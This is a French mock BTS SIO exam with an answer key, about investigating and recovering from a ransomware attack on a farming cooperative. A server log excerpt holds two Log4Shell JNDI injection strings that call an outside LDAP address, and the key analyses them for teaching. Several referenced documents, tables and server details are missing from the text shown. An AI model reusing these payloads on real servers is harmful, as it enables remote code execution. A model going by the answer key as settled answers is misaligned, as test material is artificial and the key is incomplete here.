Épreuve blanche n° 1 : le rançongiciel de la coopérative

Cette épreuve blanche a la forme d'un sujet d'E7 SISR : un contexte, deux dossiers, un dossier documentaire, 80 points. Passe-la en 4 heures, à la main, sans aucun document, puis corrige-toi avec le corrigé qui suit. La correction est celle d'un professeur, pas un corrigé officiel : quand une réponse se discute, c'est la justification qui compte.

Comment l'utiliser

Installe-toi au calme avec des copies et de quoi tracer des tableaux. Lis tout le sujet d'abord (contexte, questions, dossier documentaire), répartis tes 4 heures, puis compose. N'ouvre le corrigé qu'une fois ta copie finie.

Présentation du contexte

La coopérative Val d'Ocres rassemble 320 agriculteurs et emploie 48 salariés sur trois sites : le siège à Auxerre (comptabilité, paie, direction, service informatique), un silo à Joigny et un magasin de vente à Avallon. Elle gère les livraisons de céréales des adhérents, leur paie, la vente d'intrants et un petit site web de commande.

Le système d'information repose sur un domaine Active Directory, un progiciel de gestion (SRV-GES) et un serveur de fichiers (SRV-FIC) au siège, un serveur de sauvegarde (SRV-SAUV) et un site web vitrine (SRV-WEB) hébergé en interne, joignable depuis Internet. Les sites distants sont reliés au siège par des liaisons VPN. L'informatique est gérée par un technicien, assisté d'un prestataire extérieur.

Un lundi matin, les salariés du siège ne peuvent plus ouvrir leurs fichiers : les documents portent une extension inconnue et une note réclame un paiement. La direction fait appel à une société de réponse à incident, que tu accompagnes comme technicien junior. Tu t'appuieras sur le dossier documentaire.

Dossier A — Comprendre et contenir l'attaque (42 points)

Mission A1 — Premier état des lieux

Question A1.1. À partir du rapport d'intervention (document 2), relever trois éléments qui ont pu faciliter l'attaque. Justifier chacun.

Question A1.2. Relever deux éléments qui rendront l'investigation difficile. Justifier.

Question A1.3. Le technicien propose d'éteindre immédiatement tous les serveurs pour « arrêter la propagation ». Discuter cette proposition et indiquer la bonne conduite à tenir.

Mission A2 — Le vecteur d'entrée

Question A2.1. Le serveur web SRV-WEB héberge une application en Java. À partir du bulletin du CERT-FR (document 3) et de l'extrait du journal du serveur web (document 4), dire si une tentative d'exploitation de la vulnérabilité Log4Shell apparaît. Justifier en citant les lignes concernées.

Question A2.2. Préciser le ou les critères qui permettent de savoir si un autre serveur est exposé à cette vulnérabilité, puis indiquer, parmi les serveurs du document 1, celui qui mérite une vérification en priorité.

Mission A3 — Évaluer la gravité et la priorité

Question A3.1. À l'aide de l'échelle de gravité (document 5), donner le niveau de gravité de l'incident pour Val d'Ocres. Justifier avec deux éléments du contexte.

Question A3.2. Le matin, l'incident touchait les fichiers du service comptable ; à midi, plus aucun salarié du siège ne peut travailler, et la paie des adhérents doit partir dans deux jours. À l'aide de la matrice de priorité (document 6), donner la priorité initiale puis la nouvelle, en justifiant l'impact et l'urgence.

Dossier B — Reconstruire plus sûr (38 points)

Mission B1 — Obligations légales

Question B1.1. Déterminer si l'incident entraîne des obligations au regard du RGPD. Justifier et préciser les délais.

Question B1.2. Citer deux autres démarches légales ou contractuelles que la coopérative doit entreprendre, avec leur intérêt.

Mission B2 — Sauvegardes

Question B2.1. À partir de la stratégie actuelle (document 2, points 6 et 7) et des recommandations de l'ANSSI (document 7), relever trois faiblesses de la sauvegarde et proposer une mesure pour chacune.

Question B2.2. La coopérative doit conserver ses pièces comptables et restaurer une version quotidienne du mois écoulé. Proposer les paramètres de rétention (quotidiennes, mensuelles, annuelles) en justifiant, sachant que la durée légale de conservation des livres comptables est de 10 ans.

Mission B3 — Cloisonner et filtrer

Question B3.1. Proposer une évolution de l'architecture pour que le serveur de sauvegarde ne puisse plus être atteint par un rançongiciel qui compromettrait le serveur de fichiers. Justifier.

Question B3.2. Après cloisonnement, le serveur de sauvegarde est placé dans le VLAN 30 (192.168.30.0/24), à l'adresse 192.168.30.10. Les serveurs à sauvegarder sont dans le VLAN 20 (192.168.20.0/24). La sauvegarde se fait par l'agent installé sur chaque serveur, qui se connecte au serveur de sauvegarde en HTTPS sur le port 8007/TCP. Écrire, dans un tableau, la ou les règles de filtrage à ajouter sur le pare-feu interne, la dernière règle interdisant déjà tout.

Dossier documentaire

Document 1 — Plan d'adressage et serveurs

VLAN 10 : postes du siège, 192.168.10.0/24. Les postes, les serveurs et le serveur de sauvegarde sont aujourd'hui dans le même ensemble de VLAN internes, routés sans filtrage entre eux.

Document 2 — Extrait du rapport d'intervention

1. Le rançongiciel a chiffré les fichiers de SRV-FIC et de SRV-GES, et les documents des postes du siège.
2. La note de rançon est datée du dimanche 23 h ; les premiers signes remontent au vendredi soir.
3. Le compte « Administrateur » du domaine est utilisé au quotidien par le technicien et par le prestataire, sur leurs postes de travail.
4. Le même mot de passe d'administrateur local protège tous les postes du siège ; il n'a pas changé depuis l'installation du parc.
5. SRV-WEB est joignable depuis Internet en HTTPS, et son application Java n'a pas été mise à jour depuis 2021.
6. SRV-SAUV reçoit chaque nuit une copie de SRV-FIC et de SRV-GES ; il est dans le même réseau et joint au domaine.
7. Une copie du serveur de sauvegarde est faite sur un disque externe une fois par mois ; le disque reste branché en permanence.
8. Aucun serveur de centralisation des journaux n'existe ; les journaux locaux de SRV-GES ont été chiffrés avec le reste.
9. Le prestataire a réinstallé SRV-GES dès le dimanche soir, avant l'arrivée de l'équipe d'investigation.
10. Les données de SRV-FIC comprennent les bulletins de paie des salariés et les coordonnées bancaires des adhérents.

Document 3 — Bulletin du CERT-FR (extrait)

Objet : vulnérabilité critique dans la bibliothèque de journalisation Apache Log4j (Log4Shell). Risque : exécution de code à distance, sans authentification. La vulnérabilité touche les applications Java qui utilisent Log4j en versions 2.0 à 2.14.1. Détection : rechercher dans les journaux les chaînes de caractères ${jndi: et leurs variantes encodées. Correctif : mettre à jour Log4j ; à défaut, appliquer les mesures de contournement et filtrer les flux.

Document 4 — Extrait du journal de SRV-WEB

1  2026-03-13 21:02:10 GET /  200
2  2026-03-13 21:02:55 POST /contact  200
3  2026-03-13 21:03:04 POST /contact  user-agent: ${jndi:ldap://185.23.11.4/a}  500
4  2026-03-13 21:03:05 GET /commande?ref=12  200
5  2026-03-13 21:07:41 POST /login  champ identifiant: ${jndi:ldap://185.23.11.4/b}  500
6  2026-03-13 21:12:18 GET /  200

Document 5 — Échelle de gravité

Document 6 — Matrice de priorité ITIL

Document 7 — Recommandations de l'ANSSI sur la sauvegarde (extrait)

1. Les serveurs de sauvegarde sont cloisonnés, dans une zone distincte de la production.
2. Appliquer la règle 3-2-1 : trois copies, deux supports, dont une copie hors ligne.
3. Chaque instance de sauvegarde dispose de comptes d'administration dédiés, distincts de ceux du domaine.
4. Les flux de sauvegarde sont chiffrés et authentifiés.
5. Les restaurations sont testées régulièrement.

Corrigé du dossier A

A1.1 — Trois éléments ayant facilité l'attaque (6 points)

1. Le compte administrateur du domaine est utilisé au quotidien sur des postes de travail (point 3). Ses identifiants restent en mémoire sur ces postes ; un poste compromis permet de les voler et de prendre le contrôle du domaine.
2. Le même mot de passe d'administrateur local sur tous les postes (point 4). Un seul poste compromis ouvre tous les autres : c'est ce qui permet au rançongiciel de se propager de poste en poste.
3. L'application Java de SRV-WEB n'est pas à jour et le serveur est exposé sur Internet (point 5). Une vulnérabilité connue, non corrigée et accessible depuis l'extérieur, est une porte d'entrée. On peut aussi citer l'absence de journaux centralisés (point 8), qui n'a pas facilité l'attaque mais a aggravé ses effets.

A1.2 — Deux éléments qui gênent l'investigation (4 points)

1. SRV-GES a été réinstallé avant l'investigation (point 9) : les traces de l'attaque sur ce serveur (fichiers, journaux, outils de l'attaquant) ont été détruites.
2. Aucun serveur de journaux centralisé, et les journaux locaux de SRV-GES ont été chiffrés (point 8) : il ne reste presque rien pour reconstituer la chronologie. On peut aussi citer que les premiers signes datent du vendredi soir mais n'ont été vus que le lundi : le délai a laissé le temps d'effacer des traces.

A1.3 — Éteindre les serveurs ? (6 points)

La proposition est à nuancer. Éteindre un serveur arrête bien le chiffrement en cours, mais fait perdre la mémoire vive, donc les processus, les connexions et parfois les clés encore présentes, qui sont des preuves précieuses. La bonne conduite :

• isoler les machines du réseau (débrancher le câble, couper le Wi-Fi) en les laissant allumées, pour stopper la propagation sans perdre la mémoire ;
• faire une copie du disque et de la mémoire des machines touchées, avec une empreinte pour prouver qu'elles n'ont pas été modifiées ;
• noter chaque action avec l'heure (main courante) ;
• ne pas réinstaller avant la fin de l'investigation ;
• faire appel à l'aide prévue (prestataire de réponse à incident, cybermalveillance.gouv.fr).

Couper l'alimentation ne se justifie que si le chiffrement est en cours et qu'aucune autre isolation n'est possible.

A2.1 — Trace de Log4Shell (6 points)

Oui. Le bulletin (document 3) indique de rechercher la chaîne ${jndi:. Le journal de SRV-WEB la contient deux fois :

• ligne 3 : un en-tête user-agent vaut ${jndi:ldap://185.23.11.4/a}, la requête renvoie une erreur 500 ;
• ligne 5 : le champ identifiant d'une connexion vaut ${jndi:ldap://185.23.11.4/b}, erreur 500 également.

Les deux visent à faire interpréter la chaîne par Log4j pour déclencher une connexion vers 185.23.11.4 et exécuter du code. Ce sont des tentatives d'exploitation de Log4Shell, depuis l'adresse 185.23.11.4. L'erreur 500 ne prouve ni l'échec ni la réussite : pour savoir si l'exploitation a abouti, il faut chercher dans les journaux du pare-feu une connexion sortante de SRV-WEB vers 185.23.11.4 (LDAP, port 389 ou 1389).

A2.2 — Autres serveurs exposés (6 points)

Le critère : être une application Java qui utilise une version vulnérable de Log4j (2.0 à 2.14.1), et recevoir des données venant de l'extérieur qui sont journalisées. D'après le document 1, SRV-GES est une application Java : il doit être vérifié en priorité (version de Log4j, journaux à la recherche de ${jndi:), d'autant qu'il a été chiffré. Le système d'exploitation n'entre pas en compte : seul compte le fait d'exécuter une application Java qui embarque une version vulnérable de Log4j. SRV-AD et SRV-FIC, qui n'exécutent pas d'application Java d'après le document 1, ne sont pas concernés, sauf composant Java à vérifier.

A3.1 — Gravité (6 points)

Niveau G4 critique. Justifications tirées du contexte :

• l'activité du siège est totalement bloquée, la paie des adhérents doit partir dans deux jours et une coopérative qui ne paie plus ses 320 adhérents met en jeu sa survie (critère G4 : survie de l'organisation menacée) ;
• des données personnelles sensibles (bulletins de paie des salariés, coordonnées bancaires des adhérents) sont touchées.

G3 serait défendable si l'activité n'était que dégradée ; ici le blocage est total et les conséquences financières immédiates, ce qui justifie G4.

A3.2 — Priorité (8 points)

Priorité initiale : impact moyen (le service comptable), urgence moyenne (gêne réelle mais non bloquante le matin), soit P3 (résolution cible 1 jour) dans la matrice.

Nouvelle priorité : l'impact devient élevé (toute l'activité du siège est bloquée) ; l'urgence devient élevée (blocage total, et échéance de la paie à deux jours). L'intersection donne P1 (résolution cible 2 heures). L'incident doit être traité comme majeur.

Corrigé du dossier B

B1.1 — Obligations RGPD (6 points)

Oui. Des données à caractère personnel (bulletins de paie, coordonnées bancaires) ont été chiffrées, donc rendues indisponibles : c'est une violation de données au sens du RGPD, même sans exfiltration prouvée.

• Notifier la CNIL dans les 72 heures après la découverte de la violation (article 33), car elle présente un risque pour les personnes.
• Documenter la violation dans le registre interne.
• Informer les personnes concernées (salariés et adhérents) si le risque est élevé (article 34) : des coordonnées bancaires et des bulletins de paie sont des données à fort risque, surtout si une exfiltration ne peut être écartée.

B1.2 — Deux autres démarches (4 points)

1. Déposer plainte pour l'atteinte au système de traitement de données (article 323-1 du code pénal), au plus tard 72 heures après la découverte si la coopérative veut être indemnisée par son assurance cyber (article L12-10-1 du code des assurances).
2. Prévenir ses partenaires et faire appel à l'assistance prévue : le dispositif régional de réponse, cybermalveillance.gouv.fr. On peut aussi citer l'information de la banque pour surveiller les comptes dont les coordonnées ont pu fuiter.

B2.1 — Trois faiblesses de la sauvegarde (9 points)

1. SRV-SAUV est dans le même réseau que les serveurs et joint au domaine (point 6) : un rançongiciel qui compromet le domaine atteint aussi les sauvegardes. Mesure : cloisonner le serveur de sauvegarde dans une zone dédiée et lui donner des comptes d'administration hors domaine (recommandations 1 et 3).
2. La copie sur disque externe reste branchée en permanence (point 7) : elle sera chiffrée avec le reste, ce n'est pas une vraie copie hors ligne. Mesure : débrancher le disque après chaque copie, ou utiliser un stockage immuable (recommandation 2).
3. Aucun test de restauration n'est mentionné. Mesure : planifier et documenter des restaurations régulières (recommandation 5). On peut aussi relever l'absence de chiffrement et d'authentification des flux de sauvegarde (recommandation 4).

B2.2 — Paramètres de rétention (6 points)

• Quotidiennes : 30. Le besoin est de restaurer une version quotidienne du mois écoulé, soit une trentaine de jours.
• Mensuelles : 12. Garder une version par mois permet de revenir à une clôture mensuelle sur l'année.
• Annuelles : 10. La durée légale de conservation des livres comptables est de 10 ans (code de commerce), donc une version par an pendant 10 ans.

On peut ajouter quelques sauvegardes « horaires » si l'activité le justifie, mais ce n'est pas demandé ici. L'important : un paramètre par besoin, justifié.

B3.1 — Cloisonner le serveur de sauvegarde (7 points)

Placer SRV-SAUV dans un VLAN de sauvegarde dédié, séparé du VLAN des serveurs, et faire passer les flux de sauvegarde par le pare-feu, avec une règle qui n'autorise que la connexion de l'agent vers le serveur de sauvegarde. Lui donner un compte d'administration propre, hors du domaine Active Directory.

Justification : un rançongiciel qui compromet SRV-FIC, et même le domaine, ne pourra pas se connecter librement à SRV-SAUV, car seul le flux de sauvegarde est autorisé et l'administration de la sauvegarde n'utilise pas les comptes du domaine. Les sauvegardes restent exploitables pour restaurer sans payer.

B3.2 — Règle de filtrage (6 points)

La connexion part de l'agent, installé sur chaque serveur du VLAN 20, vers SRV-SAUV, sur le port 8007/TCP. Une seule règle suffit, placée avant la règle finale « tout refuser » :

Points vérifiés : la source est le réseau des serveurs (ou, plus strict, chaque serveur sauvegardé) ; le port source est * ; la destination est l'adresse exacte du serveur de sauvegarde ; le port de destination est 8007 ; le protocole est TCP (HTTPS). Le pare-feu étant à états, aucune règle de retour n'est nécessaire.

T'évaluer

Les points indiqués à chaque question du corrigé totalisent 80 (42 pour le dossier A, 38 pour le dossier B) ; c'est une répartition proposée pour ton entraînement, pas un barème officiel. Pour chaque question, compte tes points seulement si ta réponse nomme la notion, l'explique et s'appuie sur un document du dossier.